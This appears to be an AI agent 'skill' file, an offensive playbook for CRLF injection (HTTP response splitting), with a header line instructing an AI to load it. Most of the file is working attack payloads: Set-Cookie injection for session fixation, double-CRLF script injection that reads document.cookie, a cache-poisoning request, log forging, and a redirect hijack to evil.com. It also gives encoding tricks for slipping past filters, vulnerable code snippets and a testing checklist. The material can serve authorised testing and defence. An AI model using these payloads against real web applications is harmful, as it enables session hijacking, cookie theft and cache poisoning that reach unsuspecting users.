SKILL: CRLF Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.

1. CORE CONCEPT

CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.

Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie

2. DETECTION

Basic Probe

%0D%0ANew-Header:injected

# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true

# Check response headers for "X-Injected: true"

Double CRLF — Body Injection

Two consecutive CRLF sequences end headers and start body:

%0D%0A%0D%0A<script>alert(1)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(1)</script>

3. EXPLOITATION SCENARIOS

Session Fixation via Set-Cookie

%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id

XSS via Response Body

%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>

Cache Poisoning

If the response is cached by a CDN or proxy, injected headers/body are served to all users:

GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>

Log Injection

CRLF in log-visible fields (User-Agent, Referer) can forge log entries:

User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200

4. FILTER BYPASS

Filter	Bypass
Blocks `%0D%0A`	Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode)
URL decodes once	Double-encode: `%250D%250A`
Strips `\r\n` literally	Use URL-encoded form
Blocks in value only	Inject in parameter name

# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D  → decoded as CRLF in some parsers

# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF

# Partial injection (LF only):
%0A → some servers accept LF without CR

5. REAL-WORLD EXPLOITATION CHAINS

CRLF + Session Fixation

# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id

# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id

# Victim uses attacker's session → attacker hijacks after login

CRLF → XSS via Double CRLF Body Injection

# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(document.cookie)</script>

CRLF in 302 Location → Redirect Hijack

# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A

# Some servers use the LAST Location header → redirect to evil.com

6. COMMON VULNERABLE PATTERNS

// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);

// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))

// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);

// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));

7. TESTING CHECKLIST

□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses

crlf-injection